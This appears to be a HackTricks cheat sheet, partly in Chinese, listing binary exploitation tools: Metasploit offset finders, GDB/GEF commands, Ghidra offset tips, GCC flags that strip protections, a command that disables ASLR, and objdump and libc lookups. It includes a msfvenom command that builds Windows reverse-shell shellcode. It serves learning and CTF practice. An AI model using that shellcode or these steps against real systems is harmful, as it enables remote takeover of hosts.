Exploiting Tools

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支持HackTricks的其他方式:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

安装

apt-get install gdb

参数

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

说明

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

您可以选择使用这个GEF的分支F,其中包含更多有趣的指令。

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

技巧

GDB相同地址

在调试过程中,GDB的地址与执行二进制文件时使用的地址略有不同。 您可以通过以下方式使GDB具有相同的地址:

  • unset env LINES

  • unset env COLUMNS

  • set env _=<path> 将二进制文件的绝对路径放在这里

  • 利用相同的绝对路径利用二进制文件

  • 使用GDB和利用二进制文件时,PWDOLDPWD必须相同

回溯以查找调用的函数

当您有一个静态链接的二进制文件时,所有函数都将属于二进制文件(而不是外部库)。在这种情况下,识别二进制文件遵循的流程以便例如请求用户输入将会很困难。 您可以通过使用gdb运行二进制文件直到要求输入为止来轻松识别此流程。然后,按下CTRL+C停止它,并使用**bt**(backtrace)命令查看调用的函数:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB 服务器

gdbserver --multi 0.0.0.0:23947(在IDA中,您必须填写Linux机器和Windows机器上可执行文件的绝对路径)

Ghidra

查找堆栈偏移

Ghidra 对于查找缓冲区溢出的偏移非常有用,因为它提供了有关本地变量位置的信息。 例如,在下面的示例中,local_bc 中的缓冲区溢出表明您需要一个偏移量为 0xbc。此外,如果 local_10 是一个 canary cookie,则从 local_bc 覆盖它需要一个偏移量为 0xac请记住,保存RIP的第一个0x08属于RBP。

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

获取程序中执行的每个操作码。

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 编译时去除保护机制 -o --> 输出 -g --> 保存代码(GDB 可以查看) echo 0 > /proc/sys/kernel/randomize_va_space --> 在 Linux 中禁用 ASLR

编译 shellcode: nasm -f elf assembly.asm --> 返回“.o” 文件 ld assembly.o -o shellcodeout --> 可执行文件

Objdump

-d --> 反汇编可执行文件 部分(查看编译后的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...) -Mintel --> Intel 语法 -t --> 符号-D --> 反汇编所有(静态变量的地址) -s -j .dtors --> dtors 部分 -s -j .got --> got 部分 -D -s -j .plt --> plt 部分 反编译 -TR --> 重定位 ojdump -t --dynamic-relo ./exec | grep puts --> 要修改的 "puts" 在 GOT 中的地址 objdump -D ./exec | grep "VAR_NAME" --> 静态变量的地址(这些存储在 DATA 部分)。

Core dumps

  1. 在启动程序之前运行 ulimit -c unlimited

  2. 运行 sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

  3. sudo gdb --core=<path/core> --quiet

更多

ldd executable | grep libc.so.6 --> 地址(如果启用 ASLR,则每次都会更改) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> 循环查看地址是否经常更改 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system" 的偏移 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh" 的偏移

strace executable --> 可执行文件调用的函数 rabin2 -i ejecutable --> 所有函数的地址

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

在远程 Linux 中调试

在 IDA 文件夹中,您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做,请将二进制文件 linux_serverlinux_server64 移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它:

./linux_server64 -Ppass

然后,配置调试器:调试器(linux 远程)--> 进程选项...:

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

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